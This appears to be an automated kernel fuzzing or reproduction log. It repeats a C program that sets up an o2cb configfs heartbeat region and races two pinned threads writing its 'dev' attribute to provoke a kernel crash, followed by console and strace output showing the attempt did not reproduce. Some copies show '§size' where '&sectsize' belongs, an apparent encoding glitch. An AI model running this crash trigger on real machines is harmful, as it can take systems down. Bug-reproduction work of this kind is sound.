write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}]
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}]
|
| 163/3 |
2026/09/04 20:53 |
loop |
|
0m
|
| 164/4 |
2026/09/04 20:53 |
iteration |
0 |
0m
|
| 165/5 |
2026/09/04 20:53 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}]
|
| 166/5 |
2026/09/04 20:53 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}]
|
| 167/5 |
2026/09/04 20:53 |
action |
If |
0m
Args:
|
| 168/3 |
2026/09/04 20:53 |
action |
run-c-repro |
2m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[ 61.683357][ T33] audit: type=1400 audit(1788555259.586:203): avc: denied { transition } for pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.690905][ T33] audit: type=1400 audit(1788555259.586:204): avc: denied { noatsecure } for pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.697902][ T33] audit: type=1400 audit(1788555259.586:205): avc: denied { rlimitinh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.704132][ T33] audit: type=1400 audit(1788555259.586:206): avc: denied { siginh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.085305][ T33] audit: type=1400 audit(1788555261.986:207): avc: denied { write } for pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.124375][ T33] audit: type=1400 audit(1788555262.026:208): avc: denied { write } for pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.194924][ T33] audit: type=1400 audit(1788555262.096:209): avc: denied { write } for pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.238075][ T33] audit: type=1400 audit(1788555262.136:210): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:41941' (ED25519) to the list of known hosts.
[ 64.577197][ T33] audit: type=1400 audit(1788555262.476:211): avc: denied { mounton } for pid=5846 comm="syz-executor240" path="/sys/kernel/config" dev="configfs" ino=1116 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.586101][ T5846] audit: audit_backlog=65 > audit_backlog_limit=64
[ 66.835840][ T33] kauditd_printk_skb: 76 callbacks suppressed
[ 66.835849][ T33] audit: type=1400 audit(1788555264.736:286): avc: denied { write } for pid=5867 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.917912][ T33] audit: type=1400 audit(1788555264.816:287): avc: denied { write } for pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.039560][ T33] audit: type=1400 audit(1788555264.936:288): avc: denied { write } for pid=5873 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.117416][ T33] audit: type=1400 audit(1788555265.016:289): avc: denied { write } for pid=5876 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.221783][ T33] audit: type=1400 audit(1788555265.116:290): avc: denied { write } for pid=5879 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.304324][ T33] audit: type=1400 audit(1788555265.206:291): avc: denied { write } for pid=5882 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[ 71.554541][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.557436][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor175894958
<...>
\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
